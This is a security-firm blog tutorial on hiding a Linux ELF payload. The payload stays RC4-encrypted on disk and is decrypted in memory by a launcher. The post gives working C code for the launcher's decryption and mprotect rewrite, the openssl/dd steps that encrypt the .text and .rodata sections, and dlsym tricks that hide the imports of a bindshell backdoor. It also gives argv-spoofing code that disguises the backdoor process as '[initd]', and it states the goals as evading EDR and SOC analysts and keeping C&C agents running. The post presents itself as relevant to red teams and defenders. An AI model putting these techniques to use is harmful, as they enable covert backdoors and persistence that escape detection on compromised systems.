BLUE TEAM VS RED TEAM: HOW TO RUN YOUR ENCRYPTED ELF BINARY IN MEMORY AND GO UNDETECTED

Marco Ortisi

Red Timmy Security

March 3rd, 2020

Red Timmy Security

https://www.redtimmy.com/blog
https://www.twitter.com/redtimmysec

INTRODUCTION

Imagine finding yourself in a "hostile" environment, one where you can't run exploits, tools and applications without worrying about prying eyes spying on you, be they a legitimate system administrator, a colleague sharing an access with you or a software solution that scans the machine you are logged in to for malicious files. Your binary should live in encrypted form in the filesystem so that no static analysis would be possible even if identified and copied somewhere else. It should be only decrypted on the fly in memory when executed, so preventing dynamic analysis too, unless the decryption key is known.

HOW TO IMPLEMENT THAT?

On paper everything looks fine, but practically how do we implement this? With Red Timmy Security we have created the "*golden frieza*" project, a collection of several techniques to support on-the-fly encryption/decryption of binaries. Even though we are not ready yet to release the full project, we are going to discuss in depth one of the methods it implements, accompanied by some supporting source code.

Why is the discussion relevant both to security analysts working at SOC departments, Threat Intelligence and Red Teams? Think about a typical Red Team operation, in which tools that commonly trigger security alerts to SOC, such as "*procmon*" or "*mimikatz*", are uploaded in a compromised machine and then launched without having the installed endpoint protection solutions or the EDR agents complaining about that.

Alternatively, think about a zero-day privilege escalation exploit that an attacker wants to run locally in a just hacked system, but they don't want it to be reverse engineered while stored in the filesystem and consequently divulged to the rest of the world. This is exactly the kind of techniques we are going to talk about.

A short premise before to get started. All the examples and code released (**github link**) work with ELF binaries. Conceptually there is nothing preventing you from implementing the same techniques with Windows PE binaries, of course with the opportune adjustments.

WHAT TO ENCRYPT?

An ELF binary file is composed of multiple sections. We are mostly interested to encrypt the "`.text`" section where are located the instructions that the CPU executes when the interpreter maps the binary in memory and transfers the execution control over it. To put it simple, the section "`.text`" contains the logic of our application that we do not want to be reverse-engineered.

WHICH CRYPTO ALGORITHM TO USE?

To encrypt the "`.text`" section we will avoid block ciphers, which would force the binary instructions into that section to be aligned to the block size. A stream cipher algorithm fits perfectly in this case, because the length of the ciphertext produced in output will be equal to the plaintext, hence there are not padding or alignment requirements to satisfy. We choose *RC4* as encryption algorithm. The discussion of its security is beyond the scope of this blog post. You might implement whatever else you like in replacement.

THE IMPLEMENTATION

The technique to-be implemented must be as easy as possible. We want to avoid manual memory mappings and symbol relocations. For example, our solution could rely on two components:

- An ELF file compiled as a dynamic library exporting one or more functions containing the encrypted instructions to be protected from prying eyes;
- the launcher, a program that takes as an input the ELF dynamic library, decrypting it in memory by means of a crypto key and then executing it.

What is not clear yet is what we should encrypt: the full "`.text`" section or just the malicious functions exported in the ELF module? Let's try to put in practice an experiment. The following source code exports a function called "`testalo()`" taking no parameter. After compilation we want it to be decrypted only once it is loaded in memory.

```c
// testalo_mod.c
#include <stdio.h>
#include <stdlib.h>

void testalo()
{
    printf("Sucalo Sucalo oh oh!\n");
    printf("oh oh Sucalo Sucalo!!\n");
    exit(0);
}
```

We compile the code as a dynamic library:

```
$ gcc testalo_mod.c -o testalo_mod.so -shared -fPIC
```

Now let's have a look at its sections with "`readelf`":

```
xabino@calippo:/tmp$ readelf -S -W testalo_mod.so
There are 26 section headers, starting at offset 0x1140:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .note.gnu.build-id NOTE            00000000000001c8 0001c8 000024 00   A  0   0  4
  [ 2] .gnu.hash         GNU_HASH        00000000000001f0 0001f0 00003c 00   A  3   0  8
  [ 3] .dynsym           DYNSYM          0000000000000230 000230 000138 18   A  4   1  8
  [ 4] .dynstr           STRTAB          0000000000000368 000368 0000a1 00   A  0   0  1
  [ 5] .gnu.version      VERSYM          000000000000040a 00040a 00001a 02   A  3   0  2
  [ 6] .gnu.version_r    VERNEED         0000000000000428 000428 000020 00   A  4   1  8
  [ 7] .rela.dyn         RELA            0000000000000448 000448 0000a8 18   A  3   0  8
  [ 8] .rela.plt         RELA            00000000000004f0 0004f0 000030 18  AI  3  21  8
  [ 9] .init             PROGBITS        0000000000000520 000520 000017 00  AX  0   0  4
  [10] .plt              PROGBITS        0000000000000540 000540 000030 10  AX  0   0 16
  [11] .plt.got          PROGBITS        0000000000000570 000570 000008 08  AX  0   0  8
  [12] .text             PROGBITS        0000000000000580 000580 000100 00  AX  0   0 16
```

The "`.text`" section in the present case starts at file offset `0x580` (1408 bytes from the beginning of `testalo_mod.so`) and its size is `0x100` (256 bytes). What if we fill up this space with zeros and then try to programmatically load the library? Will it be mapped in our process memory or the interpreter will have something to complain about? As the encryption procedure creates garbage binary instructions, filling up the "`.text`" section of our module with zeros actually simulates that without trying your hand at encrypting the binary. We can do that by executing the command:

```
$ dd if=/dev/zero of=testalo_mod.so seek=1408 bs=1 count=256 conv=notrunc
```

…and then verifying with "`xxd`" that the "`.text`" section has been indeed entirely zeroed:

```
$ xxd testalo_mod.so
[...]
00000580: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000590: 0000 0000 0000 0000 0000 0000 0000 0000 ................
[...]
00000670: 0000 0000 0000 0000 0000 0000 0000 0000 ................
[...]
```

To spot the final behavior that we are attemping to observe, we need an application (see code snippet of "`dlopen_test.c`" below) that tries to map the "`testalo_mod.so`" module into its address space (line 12) and then, in case of success, checks if at runtime the function "`testalo()`" gets resolved (line 18) and executed (line 23).

```c
1  // dlopen_test.c
2  #include <stdlib.h>
3  #include <stdio.h>
4  #include <dlfcn.h>
5
6  int main(int argc, char **argv)
7  {
8          void *handle;
9          void (*testalo)();
10         char *error;
11
12         handle = dlopen ("./testalo_mod.so", RTLD_LAZY);
13         if (!handle) {
14             fputs (dlerror(), stderr);
15             exit(1);
16         }
17
18         testalo = dlsym(handle, "testalo");
19         if ((error = dlerror()) != NULL)  {
20             fputs(error, stderr);
21             exit(1);
22         }
23         testalo();
24         dlclose(handle);
25 }
```

Let's compile and execute it:

```
$ gcc dlopen_test -o dlopen_test -ldl
$ ./dlopen_test
Segmentation fault (core dumped)
```

What we are observing here is that during the execution of line 12 the program crashes. Why? This happens because, even if the call to "`dlopen()`" in our application is not explicitly invoking anything from "`testalo_mod.so`", there are functions into "`testalo_mod.so`" itself that are instead automatically called (such as "`frame_dummy()`") during the module initialization process. A "gdb" session will help here.

```
[#0] Id 1, Name: "dlopen3", stopped, reason: SIGSEGV

[#0] 0x7ffff75de650 → frame_dummy()
[#1] 0x7ffff7de5733 → call_init(env=0x7fffffffe368, argv=0x7fffffffe3
[#2] 0x7ffff7de5733 → _dl_init(main_map=0x555555756280, argc=0x1, arg
[#3] 0x7ffff7dea1ff → dl_open_worker(a=0x7fffffffdfc0)
[#4] 0x7ffff79472df → __GI__dl_catch_exception(exception=0x7fffffffdf
ffdfc0)
[#5] 0x7ffff7de97ca → _dl_open(file=0x5555555549b4 "./testalo_mod.so"
 nsid=<optimized out>, argc=0x1, argv=<optimized out>, env=0x7ffffff
[#6] 0x7ffff7bd1f96 → dlopen_doit(a=0x7fffffffe1f0)
[#7] 0x7ffff79472df → __GI__dl_catch_exception(exception=0x7fffffffe1
1f0)
[#8] 0x7ffff794736f → __GI__dl_catch_error(objname=0x7ffff7dd40f0 <la
mallocedp=0x7ffff7dd40e8 <last_result+8>, operate=<optimized out>, ar
[#9] 0x7ffff7bd2735 → _dlerror_run(operate=0x7ffff7bd1f40 <dlopen_doi

0x00007ffff75de650 in frame_dummy () from ./testalo_mod.so
```

```
$ objdump -M intel -d testalo_mod.so
```

```
Disassembly of section .text:

0000000000000580 <deregister_tm_clones>:
        ...

00000000000005c0 <register_tm_clones>:
        ...

0000000000000610 <__do_global_dtors_aux>:
        ...

0000000000000650 <frame_dummy>:
        ...

000000000000065a <testalo>:
        ...
```

Because such functions are all zeroed, this produces a segmentation fault when the execution flow is transferred over those. What if we only encrypted the content of the "`testalo()`" function on which our logic resides? To do that we just recompile "`testalo_mod.so`" and determine the size of the function's code with the command "**`objdump -M intel -d testalo_mod.so`**", by observing where the function starts and where it ends:

```
000000000000065a <testalo>:
 65a:   55                      push   rbp
 65b:   48 89 e5                mov    rbp,rsp
 65e:   48 8d 3d 24 00 00 00    lea    rdi,[rip+0x24]
 665:   e8 e6 fe ff ff          call   550 <puts@plt>
 66a:   48 8d 3d 2d 00 00 00    lea    rdi,[rip+0x2d]
 671:   e8 da fe ff ff          call   550 <puts@plt>
 676:   bf 00 00 00 00          mov    edi,0x0
 67b:   e8 e0 fe ff ff          call   560 <exit@plt>

Disassembly of section .fini:

0000000000000680 <_fini>:
 680:   48 83 ec 08             sub    rsp,0x8
 684:   48 83 c4 08             add    rsp,0x8
 688:   c3                      ret
```

The formula to calculate our value is `0x680` – `0x65a` = `0x26` = 38 bytes.

Finally we overwrite the library "`testalo_mod.so`" with 38 bytes of zeros, starting from where the "`testalo()`" function locates, which this time is offset `0x65a` = 1626 bytes from the beginning of the file:

```
$ dd if=/dev/zero of=testalo_mod.so seek=1626 bs=1 count=38 conv=notrunc
```

Then we can launch "`dlopen_test`" again:

```
$ ./dlopen_test
Segmentation fault (core dumped)
```

```
[#0] Id 1, Name: "dlopen_test", stopped, reason: SIGSEGV

[#0] 0x7ffff75de65a → testalo()
[#1] 0x5555555548b9 → main()

0x00007ffff75de65a in testalo () from ./testalo_mod.so
```

Previously we have got stuck at line 12 in "`dlopen_test.c`", during the initialization of the "`testalo_mod.so`" dynamic library. Now instead we get stuck at line 23, when "`testalo_mod.so`" has been properly mapped in our process memory, the "`testalo()`" symbol has been already resolved from it (line 18) and the function is finally invoked (line 23), which in turn causes the crash. Of course, the binary instructions are invalid because before we have zeroed that block of memory. However if we really had put encrypted instructions there and decrypted all before the invocation of "`testalo()`", everything would have worked smoothly.

So, we know now what to encrypt and how to encrypt it: only the exported functions holding our malicious payload or application logic, not the whole text section.

NEXT STEP: A FIRST PROTOTYPE FOR THE PROJECT

Let's see a practical example of how to decrypt in memory our encrypted payload. We said at the beginning that two components are needed in our implementation:

- (**a**) an ELF file compiled as a dynamic library exporting one or more functions containing the encrypted instructions to be protected from prying eyes;
- (**b**) the launcher, a program that takes as an input the ELF dynamic library, decrypting it in memory by means of a crypto key and then executing it.

Regarding the point (**a**) we will continue to utilize "`testalo_mod.so`" for now by encrypting the "`testalo()`" function's content only. Instead of using a specific program for that, just take profit of existing tools such as "`dd`" and "`openssl`":

```
$ dd if=./testalo_mod.so of=./text_section.txt skip=1626 bs=1 count=38

$ openssl rc4 -e -K 41414141414141414141414141414141 -in text_section.txt -out text_section.enc -nopad

$ dd if=./text_section.enc of=testalo_mod.so seek=1626 bs=1 count=38 conv=notrunc
```

The first command basically extracts 38 bytes composing the binary instructions of "`testalo()`". The second command encrypt these with the RC4 key "`AAAAAAAAAAAAAAAA`" (hex representation -> "`41414141414141414141414141414141`") and the third command write back the encrypted content to the place where "`testalo()`" is located into the binary. If we observe the code of that function now with the command "`objdump -M intel -d ./testalo_mod.so`", it will be unintelligible indeed:

```
000000000000065a <testalo@@Base>:
 65a:    97                      xchg   edi,eax
 65b:    83 6f d8 88             sub    DWORD PTR [rdi-0x28],0xffffff88
 65f:    2e f0 85 ba ab 69 b4    lock test DWORD PTR cs:[rdx+0x2b469ab],edi
 666:    02
 667:    0e                      (bad)
 668:    ca d4 3f                retf   0x3fd4
 66b:    c8 af 9f 14             enter  0x9faf,0x14
 66f:    a9 05 91 b0 95          test   eax,0x95b09105
 674:    56                      push   rsi
 675:    02 8f e0 ff c5 6d       add    cl,BYTE PTR [rdi+0x6dc5ffe0]
 67b:    88 61 d5                mov    BYTE PTR [rcx-0x2b],ah
 67e:    02                      .byte 0x2
 67f:    80                      .byte 0x80
```

The second needed component is the launcher (**b**). Let's analyze its C code piece by piece. First it acquires in hexadecimal format the *offset* where our encrypted function is mapped (information that we retrieve with "`readelf`") and its *length* in byte (line 102). Then the terminal echo is disabled (lines 116-125) in order to permit the user to type in safely the crypto key (line 128) and finally the terminal is restored back to the original state (lines 131-135).

```
97      /******************************************************************
98       *  PARAMETERS ACQUISITION
99       ******************************************************************/
100     /* Offset and Len in the binary */
101     printf("Enter offset and len in hex (0xXX): ");
102     scanf("%x %x", &offset, &len);
103     printf("Offset is %d bytes\n", offset);
104     printf("Len is %d bytes\n", len);
105     getchar();
106
107             /* key */
108     key = calloc(256, sizeof(char));
109     if (!key)
110     {
111             fprintf(stderr, "memory error\n");
112             exit(-1);
113     }
114
115     /* disabling echo */
116     tcgetattr(fileno(stdin), &oflags);
117     nflags = oflags;
118     nflags.c_lflag &= ~ECHO;
119     nflags.c_lflag |= ECHONL;
120
121     if (tcsetattr(fileno(stdin), TCSANOW, &nflags) != 0)
122     {
123             fprintf(stderr, "tcsetattr\n");
124             exit(-1);
125     }
126
127     printf("Enter key: ");
128     scanf("%16s", key);
129
130     /* restore terminal */
131     if (tcsetattr(fileno(stdin), TCSANOW, &oflags) != 0)
132     {
133             fprintf(stderr, "tcsetattr\n");
134             exit(-1);
135     }
```

Now we have the offset where our encrypted function is in memory but we do not know yet the full memory address where it is mapped. This is determined by looking at "`/proc/PID/maps`" as in the code snippet down.

```c
148     /*******************************************************************
149      * PID AND /PROC/PID/MAPS READING
150      *******************************************************************/
151
152     ppid = getpid();
153     printf("PID is: %d\n", ppid);
154     snprintf(proc_path, sizeof(proc_path)-1, "/proc/%d/maps", ppid);
155     //printf("proc_path is: %s\n", proc_path);
156
157     f = fopen(proc_path, "r");
158     if (!f)
159     {
160             fprintf(stderr, "Unable to open memory mapping file\n");
161             exit(-1);
162     }
163
164     module_name = basename(argv[1]);
165     printf("Module name is: %s\n", module_name);
166
167     while (fgets(line, 256, f) != NULL)
168     {
169             if (strstr(line, module_name))
170             {
171                     printf("%s", line);
172                     sscanf(line, "%p-%p", (void **)&start_address, (void **)&end_address);
173                     break;
174             }
175             //printf("%s", line);
176     }
177     fclose(f);
178
179     if (start_address == 0 || end_address == 0)
180     {
181             fprintf(stderr, "Module %s not mapped\n", module_name);
182             exit(-1);
183     }
184     printf("Start address is: %p\n", (void *)start_address);
185     printf("End address is %p\n", (void *)end_address);
```

Then all the pieces are settled to extract from the memory the encrypted binary instructions (line 199), decrypt everything with the RC4 key collected previously and write the output back to the location where "`testalo()`" function's content lives (line 213). However, we could not do that without before marking that page of memory to be writable (lines 206-210) and then back again readable/executable only (lines 218-222) after the decrypted payload is written into it. This is because in order to protect the executable code against tampering at runtime, the interpreter loads it into a not writable memory region. After usage, the crypto key is also wiped out from memory (line 214).

Red Timmy Security

```
/*************************************************************************
 * EXTRACT MEMORY INTO A BUFFER IN ORDER TO DECRYPT IT
 *************************************************************************/

/* copy encrypted text from module to memory */
enc_buffer = (char *)malloc(len+1);
if (!enc_buffer)
{
        fprintf(stderr, "malloc error\n");
        exit(-1);
}
memset(enc_buffer, '\0', len+1);
memcpy(enc_buffer, (void *)start_address+offset, len);
//printf("%p", enc_buffer);

/* mark start_address up to end_address as writable */
n = end_address - start_address;
//printf("difference: %d\n", n);

if (mprotect((void *)start_address, n, PROT_READ | PROT_WRITE | PROT_EXEC) == -1)
{
        fprintf(stderr, "mprotect() error\n");
        exit(-1);
}

/* decryption */
RC4(enc_buffer, len, key, strlen(key), (void *)start_address+offset);
memset(key, '\0', strlen(key));
free(enc_buffer);

/* mark memory not writable again */
if (mprotect((void *)start_address, n, PROT_READ | PROT_EXEC) == -1)
{
        fprintf(stderr, "mprotect() error\n");
        exit(-1);
}
```

Now the address of the decrypted "`testalo()`" function can be resolved (line 228) and the binary instructions it contains be executed (line 234).

```
224 /*******************************************************************************
225  * TRANSFER CONTROL TO FINAL DESTINATION
226  *******************************************************************************/
227 /* paramater part to be implemented */
228 testalo = dlsym(handle, "testalo");
229 if ((error = dlerror()) != NULL)  {
230     fputs(error, stderr);
231     exit(1);
232 }
233 printf("\nExecution of .text\n==================\n");
234 testalo();
```

This first version of the launcher's source code is downloadable from **here**. Let's compile it…

```
$ gcc golden_frieza_launcher_v1.c -o golden_frieza_launcher_v1 -ldl
```

…execute it, and see how it works (in bold the user input):

```
$ ./golden_frieza_launcher_v1 ./testalo_mod.so
Enter offset and len in hex (0xXX): 0x65a 0x26
Offset is 1626 bytes
Len is 38 bytes
Enter key: <-- key is inserted here but not echoed back
PID is: 28527
```

```
Module name is: testalo_mod.so
7feb51c56000-7feb51c57000 r-xp 00000000 fd:01 7602195 /tmp/testalo_mod.so
Start address is: 0x7feb51c56000
End address is 0x7feb51c57000

Execution of .text
==================
Sucalo Sucalo oh oh!
oh oh Sucalo Sucalo!!
```

As shown at the end of the command output, the in-memory decrypted content of the "`testalo()`" function is indeed successfully executed.

BUT…

What is the problem with this approach? It is that even though our library would be stripped, the symbols of the functions invoked by "`testalo()`" (such as "`puts()`" and "`exit()`") that need to be resolved and relocated at runtime, remain well visible. In case the binary finishes in the hands of a system administrator or SOC analyst, even with the "`.text`" section encrypted in the filesystem, through simple static analysis tools such as "`objdump`" and "`readelf`" they could inference what is the purpose of our malicious binary.

Let's see it with a more concrete example. Instead of using a dummy library, we decide to implement a bindshell (see the code here) and compile that code as an ELF module:

```
$ gcc testalo_bindshell.c -o testalo_bindshell.so -shared -fPIC
```

We strip the binary with the "`strip`" command and encrypt the relevant "`.text`" portion as already explained before. If now we look at symbols table ("`readelf -s testalo_bindshell.so`") or relocations table ("`readelf -r testalo_bindshell.so`") something very similar to the picture below appears:

```
Relocation section '.rela.plt' at offset 0x6d8 contains 16 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000201f58  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000201f60  000300000007 R_X86_64_JUMP_SLO 0000000000000000 write@GLIBC_2.2.5 + 0
000000201f68  000400000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0
000000201f70  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000201f78  000600000007 R_X86_64_JUMP_SLO 0000000000000000 htons@GLIBC_2.2.5 + 0
000000201f80  000700000007 R_X86_64_JUMP_SLO 0000000000000000 dup2@GLIBC_2.2.5 + 0
000000201f88  000800000007 R_X86_64_JUMP_SLO 0000000000000000 htonl@GLIBC_2.2.5 + 0
000000201f90  000900000007 R_X86_64_JUMP_SLO 0000000000000000 close@GLIBC_2.2.5 + 0
000000201f98  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 listen@GLIBC_2.2.5 + 0
000000201fa0  000d00000007 R_X86_64_JUMP_SLO 0000000000000000 bind@GLIBC_2.2.5 + 0
000000201fa8  000e00000007 R_X86_64_JUMP_SLO 0000000000000000 perror@GLIBC_2.2.5 + 0
000000201fb0  000f00000007 R_X86_64_JUMP_SLO 0000000000000000 accept@GLIBC_2.2.5 + 0
000000201fb8  001000000007 R_X86_64_JUMP_SLO 0000000000000000 atoi@GLIBC_2.2.5 + 0
000000201fc0  001200000007 R_X86_64_JUMP_SLO 0000000000000000 execl@GLIBC_2.2.5 + 0
000000201fc8  001400000007 R_X86_64_JUMP_SLO 0000000000000000 fork@GLIBC_2.2.5 + 0
000000201fd0  001500000007 R_X86_64_JUMP_SLO 0000000000000000 socket@GLIBC_2.2.5 + 0
```

This clearly reveals the usage of API such as "`bind()`", "`listen()`", "`accept()`", "`execl()`", etc… which are all functions that typically a bindshell implementation imports. This is inconvenient in our case because reveals the nature of our code. We need to get a workaround.

DLOPEN AND DLSYMS

To get around the problem, the approach we adopt is to resolve external symbols at runtime through "`dlopen()`" and "`dlsyms()`".

For example, normally a snippet of code involving a call to "`socket()`" would look like this:

```
#include
[...]
if((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
[...]
```

When the binary is compiled and linked, the piece of code above is responsible for the creation of an entry about "`socket()`" in the dynamic symbols and relocations tables. As already said, we want to avoid such a condition. Therefore the piece of code above must be changed as follows:

```
/* man 2 socket function prototype */
int (*_socket)(int, int, int);
[...]
handle = dlopen (NULL, RTLD_LAZY);
if (!handle)
    return -1;
[...]
    _socket = dlsym(handle, "socket");
[...]
if((srv_sockfd = (*_socket)(PF_INET, SOCK_STREAM, 0)) < 0)
```

Here "`dlopen()`" is invoked only once and "`dlsyms()`" is called for any external functions that must be resolved. In practice:

- "`int (*_socket)(int, int, int);`" -> we define a function pointer variable having the same prototype as the original "`socket()`" function.

```
SOCKET(2)                                   Linux Programmer's Manual

NAME
       socket - create an endpoint for communication

SYNOPSIS
       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int socket(int domain, int type, int protocol);
```

- "`handle = dlopen (NULL, RTLD_LAZY);`" -> "*if the first parameter is NULL the returned handle is for the main program*", as stated in the linux man page.

- "`_socket = dlsym(handle, "socket");`" -> the variable "`_socket`" will contain the address of the "`socket()`" function resolved at runtime with "`dlsym()`".

- "`(*_socket)(PF_INET, SOCK_STREAM, 0)`" -> we use it as an equivalent form of "`socket(PF_INET, SOCK_STREAM, 0)`". Basically the value pointed to by the variable "`_socket`" is the address of the "`socket()`" function that has been resolved with "`dlsym()`".

These modifications must be repeated for all the external functions "`bind()`", "`listen()`", "`accept()`", "`execl()`", etc…

You can see the differences between the two coding styles by comparing the UNMODIFIED BINDSHELL LIBRARY and the MODIFIED ONE. After that the new library is compiled:

```
$ gcc testalo_bindshell_mod.c -shared -o testalo_bindshell_mod.so -fPIC
```

…the main effects tied to the change of coding style are the following:

```
xabino@calippo:/tmp$ readelf -r testalo_bindshell_mod.so

Relocation section '.rela.dyn' at offset 0x490 contains 7 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000200e10  000000000008 R_X86_64_RELATIVE                    6c0
000000200e18  000000000008 R_X86_64_RELATIVE                    680
000000201030  000000000008 R_X86_64_RELATIVE                    201030
000000200fe0  000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000200fe8  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000200ff0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000200ff8  000700000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x538 contains 3 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000201018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 dlopen + 0
000000201020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000201028  000500000007 R_X86_64_JUMP_SLO 0000000000000000 dlsym + 0
```

```
xabino@calippo:/tmp$ readelf -s testalo_bindshell_mod.so

Symbol table '.dynsym' contains 14 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND dlopen
     2: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (2)
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND dlsym
     6: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
     7: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (3)
     8: 0000000000201038     0 NOTYPE  GLOBAL DEFAULT   22 _edata
     9: 0000000000201040     0 NOTYPE  GLOBAL DEFAULT   23 _end
    10: 00000000000006ca  1055 FUNC    GLOBAL DEFAULT   12 testalo
    11: 0000000000201038     0 NOTYPE  GLOBAL DEFAULT   23 __bss_start
    12: 0000000000000580     0 FUNC    GLOBAL DEFAULT    9 _init
    13: 0000000000000aec     0 FUNC    GLOBAL DEFAULT   13 _fini
```

In practice the only external symbols that remain visible now are "`dlopen()`" and "`dlsyms()`". No usage of any other socket API or functions can be inferenced.

IS THIS ENOUGH?

This approach has some issues too. To understand that, let's have a look at the read-only data section in the ELF dynamic library:

```
xabino@calippo:/tmp$ readelf -x .rodata testalo_binshell_mod.so

Hex dump of section '.rodata':
  0x00000af5 666f726b 00736f63 6b657400 61746f69 fork.socket.atoi
  0x00000b05 0062696e 64006c69 7374656e 00616363 .bind.listen.acc
  0x00000b15 65707400 636c6f73 65007772 69746500 ept.close.write.
  0x00000b25 64757032 00657865 636c0068 746f6e73 dup2.execl.htons
  0x00000b35 0068746f 6e6c0070 6572726f 72007374 .htonl.perror.st
  0x00000b45 726c656e 005b6572 726f725d 20736f63 rlen.[error] soc
  0x00000b55 6b657428 29206661 696c6564 21005b65 ket() failed!.[e
  0x00000b65 72726f72 5d206269 6e642829 20666169 rror] bind() fai
  0x00000b75 6c656421 005b6572 726f725d 206c6973 led!.[error] lis
  0x00000b85 74656e28 29206661 696c6564 21005b65 ten() failed!.[e
  0x00000b95 72726f72 5d206163 63657074 28292066 rror] accept() f
  0x00000ba5 61696c65 6421002f 62696e2f 62617368 ailed!./bin/bash
  0x00000bb5 00                                  .
```

What's going on? In practice, all the strings we have declared in our bindshell module are finished in clear-text inside the "`.rodata`" section (starting at offset `0xaf5` and ending at offset `0xbb5`) which contains all the constant values declared in the C program! Why is this happening? It depends on the way how we pass string parameters to the external functions:

```
_socket = dlsym(handle, "socket");
```

What we can do to get around the issue is to encrypt the "`.rodata`" section as well, and decrypt it on-the-fly in memory when needed, as we have already done with the binary instructions in the "`.text`" section. The new version of the launcher component (`golden_frieza_launcher_v2`) can be downloaded here and compiled with "`gcc golden_frieza_launcher_v2.c -o golden_frieza_launcher_v2 -ldl`". Let's see how it works. First the "`.text`" section of our bindshell module is encrypted:

```
$ dd if=./testalo_bindshell_mod.so of=./text_section.txt skip=1738 bs=1 count=1055

$ openssl rc4 -e -K 41414141414141414141414141414141 -in text_section.txt -out text_section.enc -nopad

$ dd if=./text_section.enc of=./testalo_bindshell_mod.so seek=1738 bs=1 count=1055 conv=notrunc
```

Same thing for the "`.rodata`" section:

```
$ dd if=./testalo_bindshell_mod.so of=./rodata_section.txt skip=2805 bs=1
count=193

$ openssl rc4 -e -K 41414141414141414141414141414141 -in rodata_section.txt
-out rodata_section.enc -nopad

$ dd if=./rodata_section.enc of=./testalo_bindshell_mod.so seek=2805 bs=1
count=193 conv=notrunc
```

Then the launcher is executed. It takes the bindshell module filename (now both with encrypted "`.text`" and "`.rodata`" sections) as a parameter:

```
$ ./golden_frieza_launcher_v2 ./testalo_bindshell_mod.so
```

The "`.text`" section offset and length is passed as hex values (we have already seen how to get those):

```
Enter .text offset and len in hex (0xXX): 0x6ca 0x41f
Offset is 1738 bytes
Len is 1055 bytes
```

Next the "`.rodata`" section offset and length is passed too as hex values. As seen in the last "`readelf`" screenshot above, in this case the section starts at `0xaf5` and the len is calculated like this: `0xbb5` - `0xaf5` + 1 = `0xc1`:

```
Enter .rodata offset and len in hex (0xXX): 0xaf5 0xc1
.rodata offset is 2805 bytes
.rodata len is 193 bytes
```

Then the launcher asks for a command line parameter. Indeed our bindshell module (specifically the exported "`testalo()`" function) takes as an input parameter the TCP port it has to listen to. We choose **9000** for this example:

```
Enter cmdline: 9000
Cmdline is: 9000
```

The encryption key ("`AAAAAAAAAAAAAAAA`") is now inserted without being echoed back:

```
Enter key:
```

The final part of the output is:

```
PID is: 3915
Module name is: testalo_bindshell_mod.so
7f5d0942f000-7f5d09430000 r-xp 00000000 fd:01 7602214
/tmp/testalo_bindshell_mod.so
Start address is: 0x7f5d0942f000
```

```
End address is 0x7f5d09430000

Execution of .text
==================
```

This time below the “*Execution of .text*” message we get nothing. This is due to the behavior of our bindshell that does not print anything to the standard output. However, the bindshell backdoor has been launched properly in the background:

```
$ netstat -an | grep 9000
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN
$ telnet localhost 9000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
uid=1000(cippalippa) gid=1000(cippalippa_group)
```

LAST OLD-SCHOOL TRICK OF THE DAY

A valuable point is: how is the process shown in the process list after the bindshell backdoor is executed?

```
$ ps -wuax
[...]
./golden_frieza_launcher_v2 ./testalo_bindshell_mod.so
[...]
```

Unfortunately the system owner could identify the process as malicious on first glance! This is not normally an issue in case our code runs for a narrowed amount of time. But what in case we want to plant a backdoor or C&C agent for a longer period of time? In that case it would be convenient to mask the process somehow. It is exactly what the piece of code below (implemented in complete form here) does.

```c
/* fake argv old school trick */
if (argc < 3)
{
        fprintf(stderr, "A parameter is needed from command line\n");
        exit(-1);
}

for(i = 0; i < argc; i++)
{
        aargv[i] = malloc(strlen(argv[i]) + 1);
        strncpy(aargv[i], argv[i], strlen(argv[i]) + 1);
}

aargv[argc] = NULL;
f_ps = aargv[2];
if (argvlen < strlen(f_ps))
{
        fprintf(stderr, "you are a stupid guy\n");
        exit(-1);
}

strncpy(argv[0], f_ps, strlen(f_ps));
for(i = strlen(f_ps); i < argvlen; i++)
        argv[0][i] = '\0';

for(i = 1; i < argc; i++)
{
        argvlen = strlen(argv[i]);

        for(j = 0; j <= argvlen; j++)
                argv[i][j] = '\0';
}
```

Let’s first compile the new version of the launcher binary:

```
$ gcc golden_frieza_launcher_v3.c -o golden_frieza_launcher_v3 -ldl
```

This time the launcher takes an additional parameter beyond the encrypted dynamic library filename, which is the name we want to assign to the process. In the example below “`[initd]`” is used:

```
$ ./golden_frieza_launcher_v3 ./testalo_bindshell_mod.so "[initd]"
```

Indeed by means of “`netstat`” we can spot the PID of the process (assuming the bindshell backdoor has started on TCP port 9876):

```
$ netstat -tupan | grep 9876
tcp 0 0 0.0.0.0:9876 0.0.0.0:* LISTEN 19087
```

